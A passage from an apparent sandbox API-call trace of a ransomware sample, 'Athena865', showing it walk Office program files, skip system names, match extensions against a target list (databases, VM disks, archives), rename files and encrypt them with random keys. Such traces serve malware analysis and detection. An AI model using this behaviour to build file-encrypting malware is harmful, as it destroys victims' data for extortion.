param_1="C:\\Program Files\\Microsoft Office\\Office14\\ogalegit.dll.Athena865") returned 65 [0080.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ogalegit.dll" (normalized: "c:\\program files\\microsoft office\\office14\\ogalegit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ogalegit.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ogalegit.dll.athena865"), dwFlags=0x1) returned 1 [0080.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ogalegit.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ogalegit.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.393] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=637744) returned 1 [0080.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.394] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.394] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.394] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9be30, lpName=0x0) returned 0x17c [0080.395] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9be30) returned 0x2d50000 [0080.420] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.421] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.421] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.421] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.427] CloseHandle (hObject=0x17c) returned 1 [0080.427] CloseHandle (hObject=0x154) returned 1 [0080.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0080.429] lstrcmpiW (lpString1="OIMG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.429] lstrcmpiW (lpString1="OIMG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2=".") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="..") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="windows") returned -1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="bootmgr") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="temp") returned -1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="pagefile.sys") returned -1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="boot") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="ids.txt") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="ntuser.dat") returned 1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="perflogs") returned -1 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2="MSBuild") returned 1 [0080.430] lstrlenW (lpString="OIMG.DLL") returned 8 [0080.430] lstrcpyW (in: lpString1=0x241e89e, lpString2="OIMG.DLL" | out: lpString1="OIMG.DLL") returned="OIMG.DLL" [0080.430] lstrlenW (lpString="OIMG.DLL") returned 8 [0080.430] lstrlenW (lpString="Athena865") returned 9 [0080.430] lstrlenW (lpString=".dll") returned 4 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2=".dll") returned 1 [0080.430] lstrlenW (lpString=".lnk") returned 4 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2=".lnk") returned 1 [0080.430] lstrlenW (lpString=".ini") returned 4 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2=".ini") returned 1 [0080.430] lstrlenW (lpString=".sys") returned 4 [0080.430] lstrcmpiW (lpString1="OIMG.DLL", lpString2=".sys") returned 1 [0080.430] lstrlenW (lpString="OIMG.DLL") returned 8 [0080.430] lstrlenW (lpString="bak") returned 3 [0080.430] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.430] lstrlenW (lpString="ba_") returned 3 [0080.430] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.430] lstrlenW (lpString="dbb") returned 3 [0080.430] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.430] lstrlenW (lpString="vmdk") returned 4 [0080.430] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.430] lstrlenW (lpString="rar") returned 3 [0080.430] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.431] lstrlenW (lpString="zip") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.431] lstrlenW (lpString="tgz") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.431] lstrlenW (lpString="vbox") returned 4 [0080.431] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.431] lstrlenW (lpString="vdi") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.431] lstrlenW (lpString="vhd") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.431] lstrlenW (lpString="vhdx") returned 4 [0080.431] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.431] lstrlenW (lpString="avhd") returned 4 [0080.431] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.431] lstrlenW (lpString="db") returned 2 [0080.431] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.431] lstrlenW (lpString="db2") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.431] lstrlenW (lpString="db3") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.431] lstrlenW (lpString="dbf") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.431] lstrlenW (lpString="mdf") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.431] lstrlenW (lpString="mdb") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.431] lstrlenW (lpString="sql") returned 3 [0080.431] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.431] lstrlenW (lpString="sqlite") returned 6 [0080.431] lstrcmpiW (lpString1="MG.DLL", lpString2="sqlite") returned -1 [0080.431] lstrlenW (lpString="sqlite3") returned 7 [0080.431] lstrcmpiW (lpString1="IMG.DLL", lpString2="sqlite3") returned -1 [0080.431] lstrlenW (lpString="sqlitedb") returned 8 [0080.432] lstrlenW (lpString="xml") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.432] lstrlenW (lpString="$er") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.432] lstrlenW (lpString="4dd") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.432] lstrlenW (lpString="4dl") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.432] lstrlenW (lpString="^^^") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.432] lstrlenW (lpString="abs") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.432] lstrlenW (lpString="abx") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.432] lstrlenW (lpString="accdb") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accdb") returned 1 [0080.432] lstrlenW (lpString="accdc") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accdc") returned 1 [0080.432] lstrlenW (lpString="accde") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accde") returned 1 [0080.432] lstrlenW (lpString="accdr") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accdr") returned 1 [0080.432] lstrlenW (lpString="accdt") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accdt") returned 1 [0080.432] lstrlenW (lpString="accdw") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accdw") returned 1 [0080.432] lstrlenW (lpString="accft") returned 5 [0080.432] lstrcmpiW (lpString1="G.DLL", lpString2="accft") returned 1 [0080.432] lstrlenW (lpString="adb") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.432] lstrlenW (lpString="adb") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.432] lstrlenW (lpString="ade") returned 3 [0080.432] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.433] lstrlenW (lpString="adf") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.433] lstrlenW (lpString="adn") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.433] lstrlenW (lpString="adp") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.433] lstrlenW (lpString="alf") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.433] lstrlenW (lpString="ask") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.433] lstrlenW (lpString="btr") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.433] lstrlenW (lpString="cat") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.433] lstrlenW (lpString="cdb") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.433] lstrlenW (lpString="ckp") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.433] lstrlenW (lpString="cma") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.433] lstrlenW (lpString="cpd") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.433] lstrlenW (lpString="dacpac") returned 6 [0080.433] lstrcmpiW (lpString1="MG.DLL", lpString2="dacpac") returned 1 [0080.433] lstrlenW (lpString="dad") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.433] lstrlenW (lpString="dadiagrams") returned 10 [0080.433] lstrlenW (lpString="daschema") returned 8 [0080.433] lstrlenW (lpString="db-journal") returned 10 [0080.433] lstrlenW (lpString="db-shm") returned 6 [0080.433] lstrcmpiW (lpString1="MG.DLL", lpString2="db-shm") returned 1 [0080.433] lstrlenW (lpString="db-wal") returned 6 [0080.433] lstrcmpiW (lpString1="MG.DLL", lpString2="db-wal") returned 1 [0080.433] lstrlenW (lpString="dbc") returned 3 [0080.433] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.434] lstrlenW (lpString="dbs") returned 3 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.434] lstrlenW (lpString="dbt") returned 3 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.434] lstrlenW (lpString="dbv") returned 3 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.434] lstrlenW (lpString="dbx") returned 3 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.434] lstrlenW (lpString="dcb") returned 3 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.434] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.434] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.Athena865") returned 61 [0080.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.athena865"), dwFlags=0x1) returned 1 [0080.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.436] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4966264) returned 1 [0080.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.436] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.437] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.437] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.437] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bca80, lpName=0x0) returned 0x17c [0080.439] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xbca80) returned 0x2d50000 [0080.554] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.555] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.555] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.555] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.562] CloseHandle (hObject=0x17c) returned 1 [0080.562] CloseHandle (hObject=0x154) returned 1 [0080.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.571] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2=".") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="..") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="windows") returned -1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="bootmgr") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="temp") returned -1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="pagefile.sys") returned -1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="boot") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="ids.txt") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="ntuser.dat") returned 1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="perflogs") returned -1 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2="MSBuild") returned 1 [0080.571] lstrlenW (lpString="OIS.EXE") returned 7 [0080.571] lstrcpyW (in: lpString1=0x241e89e, lpString2="OIS.EXE" | out: lpString1="OIS.EXE") returned="OIS.EXE" [0080.571] lstrlenW (lpString="OIS.EXE") returned 7 [0080.571] lstrlenW (lpString="Athena865") returned 9 [0080.571] lstrlenW (lpString=".dll") returned 4 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2=".dll") returned 1 [0080.571] lstrlenW (lpString=".lnk") returned 4 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2=".lnk") returned 1 [0080.571] lstrlenW (lpString=".ini") returned 4 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2=".ini") returned 1 [0080.571] lstrlenW (lpString=".sys") returned 4 [0080.571] lstrcmpiW (lpString1="OIS.EXE", lpString2=".sys") returned 1 [0080.571] lstrlenW (lpString="OIS.EXE") returned 7 [0080.571] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE.Athena865") returned 60 [0080.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe.athena865"), dwFlags=0x1) returned 1 [0080.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ois.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.573] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=299368) returned 1 [0080.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.573] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.574] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.574] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.574] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49470, lpName=0x0) returned 0x17c [0080.576] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49470) returned 0x2d50000 [0080.589] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.590] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.590] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.591] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.594] CloseHandle (hObject=0x17c) returned 1 [0080.594] CloseHandle (hObject=0x154) returned 1 [0080.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.595] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0080.595] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.595] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.595] lstrcmpiW (lpString1="OISAPP.DLL", lpString2=".") returned 1 [0080.595] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="..") returned 1 [0080.595] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="windows") returned -1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="bootmgr") returned 1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="temp") returned -1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="pagefile.sys") returned -1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="boot") returned 1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="ids.txt") returned 1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="ntuser.dat") returned 1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="perflogs") returned -1 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2="MSBuild") returned 1 [0080.596] lstrlenW (lpString="OISAPP.DLL") returned 10 [0080.596] lstrcpyW (in: lpString1=0x241e89e, lpString2="OISAPP.DLL" | out: lpString1="OISAPP.DLL") returned="OISAPP.DLL" [0080.596] lstrlenW (lpString="OISAPP.DLL") returned 10 [0080.596] lstrlenW (lpString="Athena865") returned 9 [0080.596] lstrcmpiW (lpString1="ISAPP.DLL", lpString2="Athena865") returned 1 [0080.596] lstrlenW (lpString=".dll") returned 4 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2=".dll") returned 1 [0080.596] lstrlenW (lpString=".lnk") returned 4 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2=".lnk") returned 1 [0080.596] lstrlenW (lpString=".ini") returned 4 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2=".ini") returned 1 [0080.596] lstrlenW (lpString=".sys") returned 4 [0080.596] lstrcmpiW (lpString1="OISAPP.DLL", lpString2=".sys") returned 1 [0080.596] lstrlenW (lpString="OISAPP.DLL") returned 10 [0080.596] lstrlenW (lpString="bak") returned 3 [0080.596] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.596] lstrlenW (lpString="ba_") returned 3 [0080.596] lstrcmpiW 